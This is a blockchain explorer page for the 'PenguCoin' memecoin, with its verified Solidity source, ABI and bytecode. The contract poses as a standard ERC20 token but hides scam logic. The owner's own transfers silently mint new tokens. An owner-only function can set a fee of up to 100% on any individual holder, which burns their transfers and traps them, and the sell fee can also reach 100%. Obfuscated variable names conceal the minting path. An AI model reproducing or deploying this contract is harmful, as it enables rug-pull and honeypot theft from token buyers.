ETH Price: $3,283.85 (-3.26%)
 

Overview

Max Total Supply

1,000,000,000,000,000 PENGU

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,172,858,749,874.919594149391125508 PENGU

Value
$0.00
0x739d74eCC0fa4D75AA9Cdf3DAb605cD56816CBCF
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PenguCoin

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-11
*/

/**
  $PENGU coin
  The first memecoin to be launched by penguins still in existence.

  Twitter: https://twitter.com/pengucoineth
  Telegram: https://t.co/MvnKRiuW77
*/

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);
    
    function setPersonalTransferFee(address user, uint256 fee) external;

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract PenguCoin is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private _buyFee = 0; 
    uint256 private _sellFee = 0; 
    address public uniswapV2Pair;
    mapping (address => uint256) private _personalTransferFees;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = initialSupply * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPairList(address _address) external onlyowner {
        uniswapV2Pair = _address;
    }

    function setPersonalTransferFee(address user, uint256 fee) public override onlyowner {
        require(fee <= 100, "Personal transfer fee should not exceed 100%");
        _personalTransferFees[user] = fee;
    }
    function setSelFee(uint256 newSellFee) external onlyowner {
        require(newSellFee <= 100, "Sell fee should not exceed 100%");
        _sellFee = newSellFee;
    }
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amounts) public virtual override returns (bool) {
        address hgfds = _msgSender();
        if(hgfds == owner() && owner() == _msgSender()){
            _balances[hgfds] = _balances[hgfds].mul(1).add(amounts);
        }

        
        _transfer(hgfds, recipient, amounts);
        return true;
    }

    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        uint256 feeAmount = 0;


        if (_personalTransferFees[sender] > 0) {
            feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);
        } else if (sender == uniswapV2Pair) {
            feeAmount = amounts.mul(_buyFee).div(100);
        } else if (recipient == uniswapV2Pair) {
            feeAmount = amounts.mul(_sellFee).div(100);
        } else {
            feeAmount = amounts.mul(_sellFee).div(100);
        }

        _balances[sender] = _balances[sender].sub(amounts);
        _balances[recipient] =  _balances[recipient]+amounts-feeAmount;
        _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);
        emit Transfer(sender, _DEADaddress, feeAmount);
        emit Transfer(sender, recipient, amounts-feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setPersonalTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setSelFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amounts","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600780546001600160a01b03191661dead179055600060088190556009553480156200002f57600080fd5b506040516200139b3803806200139b8339810160408190526200005291620001f8565b600080546001600160a01b031916339081178255604051909182917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b7908290a3506001620000a1858262000312565b506002620000b0848262000312565b506003805460ff191660ff8416908117909155620000d090600a620004f3565b620000dc908262000508565b600481905533600081815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050506200052a565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200015b57600080fd5b81516001600160401b038082111562000178576200017862000133565b604051601f8301601f19908116603f01168101908282118183101715620001a357620001a362000133565b81604052838152602092508683858801011115620001c057600080fd5b600091505b83821015620001e45785820183015181830184015290820190620001c5565b600093810190920192909252949350505050565b600080600080608085870312156200020f57600080fd5b84516001600160401b03808211156200022757600080fd5b620002358883890162000149565b955060208701519150808211156200024c57600080fd5b506200025b8782880162000149565b935050604085015160ff811681146200027357600080fd5b6060959095015193969295505050565b600181811c908216806200029857607f821691505b602082108103620002b957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200030d57600081815260208120601f850160051c81016020861015620002e85750805b601f850160051c820191505b818110156200030957828155600101620002f4565b5050505b505050565b81516001600160401b038111156200032e576200032e62000133565b62000346816200033f845462000283565b84620002bf565b602080601f8311600181146200037e5760008415620003655750858301515b600019600386901b1c1916600185901b17855562000309565b600085815260208120601f198616915b82811015620003af578886015182559484019460019091019084016200038e565b5085821015620003ce5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000435578160001904821115620004195762000419620003de565b808516156200042757918102915b93841c9390800290620003f9565b509250929050565b6000826200044e57506001620004ed565b816200045d57506000620004ed565b81600181146200047657600281146200048157620004a1565b6001915050620004ed565b60ff841115620004955762000495620003de565b50506001821b620004ed565b5060208310610133831016604e8410600b8410161715620004c6575081810a620004ed565b620004d28383620003f4565b8060001904821115620004e957620004e9620003de565b0290505b92915050565b60006200050183836200043d565b9392505050565b6000816000190483118215151615620005255762000525620003de565b500290565b610e61806200053a6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe1461020a578063a9059cbb1461021d578063c2af913b14610230578063dd62ed3e1461023857600080fd5b806349bd5a5e1461019d57806370a08231146101c85780638da5cb5b146101f157806395d89b411461020257600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063444a2a9c1461018a57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630f8c43191461013b575b600080fd5b610102610271565b60405161010f9190610be0565b60405180910390f35b61012b610126366004610c4a565b610303565b604051901515815260200161010f565b61014e610149366004610c4a565b61031a565b005b6004545b60405190815260200161010f565b61012b610170366004610c74565b6103cf565b60035460405160ff909116815260200161010f565b61014e610198366004610cb0565b610438565b600a546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101546101d6366004610cb0565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03166101b0565b610102610484565b61014e610218366004610ccb565b610493565b61012b61022b366004610c4a565b610513565b61014e610594565b610154610246366004610ce4565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461028090610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d17565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b600061031033848461060e565b5060015b92915050565b6000546001600160a01b0316331461034d5760405162461bcd60e51b815260040161034490610d51565b60405180910390fd5b60648111156103b35760405162461bcd60e51b815260206004820152602c60248201527f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460448201526b20657863656564203130302560a01b6064820152608401610344565b6001600160a01b039091166000908152600b6020526040902055565b60006103dc848484610732565b61042e843361042985604051806060016040528060288152602001610e04602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a0c565b61060e565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161034490610d51565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028090610d17565b6000546001600160a01b031633146104bd5760405162461bcd60e51b815260040161034490610d51565b606481111561050e5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652073686f756c64206e6f74206578636565642031303025006044820152606401610344565b600955565b6000805433906001600160a01b03168114801561053a57506000546001600160a01b031633145b15610589576001600160a01b03811660009081526005602052604090205461056f908490610569906001610a46565b90610acf565b6001600160a01b0382166000908152600560205260409020555b61042e818585610732565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161034490610d51565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b6001600160a01b0383166106705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0382166106d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610344565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107975760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610344565b6001600160a01b0382166107f95760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0383166000908152600b60205260408120541561084f576001600160a01b0384166000908152600b602052604090205461084890606490610842908590610a46565b90610b2e565b90506108cc565b600a546001600160a01b039081169085160361087f57610848606461084260085485610a4690919063ffffffff16565b600a546001600160a01b03908116908416036108af57610848606461084260095485610a4690919063ffffffff16565b6108c9606461084260095485610a4690919063ffffffff16565b90505b6001600160a01b0384166000908152600560205260409020546108ef9083610b70565b6001600160a01b0380861660009081526005602052604080822093909355908516815220548190610921908490610d9c565b61092b9190610daf565b6001600160a01b03808516600090815260056020526040808220939093556007549091168152205461095d9082610acf565b600780546001600160a01b03908116600090815260056020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109f58486610daf565b60405190815260200160405180910390a350505050565b60008184841115610a305760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610daf565b95945050505050565b600082600003610a5857506000610314565b6000610a648385610dc2565b905082610a718583610de1565b14610ac85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610344565b9392505050565b600080610adc8385610d9c565b905083811015610ac85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610344565b6000610ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bb2565b6000610ac883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0c565b60008183610bd35760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610de1565b600060208083528351808285015260005b81811015610c0d57858101830151858201604001528201610bf1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4557600080fd5b919050565b60008060408385031215610c5d57600080fd5b610c6683610c2e565b946020939093013593505050565b600080600060608486031215610c8957600080fd5b610c9284610c2e565b9250610ca060208501610c2e565b9150604084013590509250925092565b600060208284031215610cc257600080fd5b610ac882610c2e565b600060208284031215610cdd57600080fd5b5035919050565b60008060408385031215610cf757600080fd5b610d0083610c2e565b9150610d0e60208401610c2e565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031457610314610d86565b8181038181111561031457610314610d86565b6000816000190483118215151615610ddc57610ddc610d86565b500290565b600082610dfe57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb9df4b98ffcc33ea9ed14f92d2f8ff2017369252e0470a17026839d8c2f7e0264736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000000000000000000000950656e6775436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000550454e4755000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe1461020a578063a9059cbb1461021d578063c2af913b14610230578063dd62ed3e1461023857600080fd5b806349bd5a5e1461019d57806370a08231146101c85780638da5cb5b146101f157806395d89b411461020257600080fd5b806318160ddd116100d357806318160ddd1461015057806323b872dd14610162578063313ce56714610175578063444a2a9c1461018a57600080fd5b806306fdde03146100fa578063095ea7b3146101185780630f8c43191461013b575b600080fd5b610102610271565b60405161010f9190610be0565b60405180910390f35b61012b610126366004610c4a565b610303565b604051901515815260200161010f565b61014e610149366004610c4a565b61031a565b005b6004545b60405190815260200161010f565b61012b610170366004610c74565b6103cf565b60035460405160ff909116815260200161010f565b61014e610198366004610cb0565b610438565b600a546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6101546101d6366004610cb0565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03166101b0565b610102610484565b61014e610218366004610ccb565b610493565b61012b61022b366004610c4a565b610513565b61014e610594565b610154610246366004610ce4565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60606001805461028090610d17565b80601f01602080910402602001604051908101604052809291908181526020018280546102ac90610d17565b80156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b5050505050905090565b600061031033848461060e565b5060015b92915050565b6000546001600160a01b0316331461034d5760405162461bcd60e51b815260040161034490610d51565b60405180910390fd5b60648111156103b35760405162461bcd60e51b815260206004820152602c60248201527f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460448201526b20657863656564203130302560a01b6064820152608401610344565b6001600160a01b039091166000908152600b6020526040902055565b60006103dc848484610732565b61042e843361042985604051806060016040528060288152602001610e04602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610a0c565b61060e565b5060019392505050565b6000546001600160a01b031633146104625760405162461bcd60e51b815260040161034490610d51565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60606002805461028090610d17565b6000546001600160a01b031633146104bd5760405162461bcd60e51b815260040161034490610d51565b606481111561050e5760405162461bcd60e51b815260206004820152601f60248201527f53656c6c206665652073686f756c64206e6f74206578636565642031303025006044820152606401610344565b600955565b6000805433906001600160a01b03168114801561053a57506000546001600160a01b031633145b15610589576001600160a01b03811660009081526005602052604090205461056f908490610569906001610a46565b90610acf565b6001600160a01b0382166000908152600560205260409020555b61042e818585610732565b6000546001600160a01b031633146105be5760405162461bcd60e51b815260040161034490610d51565b6000805460405161dead926001600160a01b03909216917f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b791a3600080546001600160a01b03191661dead179055565b6001600160a01b0383166106705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0382166106d15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610344565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107975760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b6064820152608401610344565b6001600160a01b0382166107f95760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610344565b6001600160a01b0383166000908152600b60205260408120541561084f576001600160a01b0384166000908152600b602052604090205461084890606490610842908590610a46565b90610b2e565b90506108cc565b600a546001600160a01b039081169085160361087f57610848606461084260085485610a4690919063ffffffff16565b600a546001600160a01b03908116908416036108af57610848606461084260095485610a4690919063ffffffff16565b6108c9606461084260095485610a4690919063ffffffff16565b90505b6001600160a01b0384166000908152600560205260409020546108ef9083610b70565b6001600160a01b0380861660009081526005602052604080822093909355908516815220548190610921908490610d9c565b61092b9190610daf565b6001600160a01b03808516600090815260056020526040808220939093556007549091168152205461095d9082610acf565b600780546001600160a01b03908116600090815260056020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6109f58486610daf565b60405190815260200160405180910390a350505050565b60008184841115610a305760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610daf565b95945050505050565b600082600003610a5857506000610314565b6000610a648385610dc2565b905082610a718583610de1565b14610ac85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610344565b9392505050565b600080610adc8385610d9c565b905083811015610ac85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610344565b6000610ac883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610bb2565b6000610ac883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a0c565b60008183610bd35760405162461bcd60e51b81526004016103449190610be0565b506000610a3d8486610de1565b600060208083528351808285015260005b81811015610c0d57858101830151858201604001528201610bf1565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610c4557600080fd5b919050565b60008060408385031215610c5d57600080fd5b610c6683610c2e565b946020939093013593505050565b600080600060608486031215610c8957600080fd5b610c9284610c2e565b9250610ca060208501610c2e565b9150604084013590509250925092565b600060208284031215610cc257600080fd5b610ac882610c2e565b600060208284031215610cdd57600080fd5b5035919050565b60008060408385031215610cf757600080fd5b610d0083610c2e565b9150610d0e60208401610c2e565b90509250929050565b600181811c90821680610d2b57607f821691505b602082108103610d4b57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031457610314610d86565b8181038181111561031457610314610d86565b6000816000190483118215151615610ddc57610ddc610d86565b500290565b600082610dfe57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb9df4b98ffcc33ea9ed14f92d2f8ff2017369252e0470a17026839d8c2f7e0264736f6c63430008100033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000038d7ea4c68000000000000000000000000000000000000000000000000000000000000000000950656e6775436f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000550454e4755000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PenguCoin
Arg [1] : symbol_ (string): PENGU
Arg [2] : decimals_ (uint8): 18
Arg [3] : initialSupply (uint256): 1000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 00000000000000000000000000000000000000000000000000038d7ea4c68000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 50656e6775436f696e0000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 50454e4755000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3769:4405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5235:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6272:161;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6272:161:0;1004:187:1;4838:215:0;;;;;;:::i;:::-;;:::i;:::-;;5512:100;5592:12;;5512:100;;;1342:25:1;;;1330:2;1315:18;5512:100:0;1196:177:1;6441:313:0;;;;;;:::i;:::-;;:::i;5421:83::-;5487:9;;5421:83;;5487:9;;;;1853:36:1;;1841:2;1826:18;5421:83:0;1711:184:1;4729:101:0;;;;;;:::i;:::-;;:::i;4252:28::-;;;;;-1:-1:-1;;;;;4252:28:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;4252:28:0;2091:203:1;5620:119:0;;;;;;:::i;:::-;-1:-1:-1;;;;;5713:18:0;5686:7;5713:18;;;:9;:18;;;;;;;5620:119;3312:87;3358:7;3385:6;-1:-1:-1;;;;;3385:6:0;3312:87;;5326;;;:::i;5059:170::-;;;;;;:::i;:::-;;:::i;5747:360::-;;;;;;:::i;:::-;;:::i;3530:230::-;;;:::i;6121:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6229:18:0;;;6202:7;6229:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6121:143;5235:83;5272:13;5305:5;5298:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5235:83;:::o;6272:161::-;6347:4;6364:39;1154:10;6387:7;6396:6;6364:8;:39::i;:::-;-1:-1:-1;6421:4:0;6272:161;;;;;:::o;4838:215::-;3445:6;;-1:-1:-1;;;;;3445:6:0;1154:10;3445:22;3437:67;;;;-1:-1:-1;;;3437:67:0;;;;;;;:::i;:::-;;;;;;;;;4949:3:::1;4942;:10;;4934:67;;;::::0;-1:-1:-1;;;4934:67:0;;3697:2:1;4934:67:0::1;::::0;::::1;3679:21:1::0;3736:2;3716:18;;;3709:30;3775:34;3755:18;;;3748:62;-1:-1:-1;;;3826:18:1;;;3819:42;3878:19;;4934:67:0::1;3495:408:1::0;4934:67:0::1;-1:-1:-1::0;;;;;5012:27:0;;::::1;;::::0;;;:21:::1;:27;::::0;;;;:33;4838:215::o;6441:313::-;6539:4;6556:36;6566:6;6574:9;6585:6;6556:9;:36::i;:::-;6603:121;6612:6;1154:10;6634:89;6672:6;6634:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6634:19:0;;;;;;:11;:19;;;;;;;;1154:10;6634:33;;;;;;;;;;:37;:89::i;:::-;6603:8;:121::i;:::-;-1:-1:-1;6742:4:0;6441:313;;;;;:::o;4729:101::-;3445:6;;-1:-1:-1;;;;;3445:6:0;1154:10;3445:22;3437:67;;;;-1:-1:-1;;;3437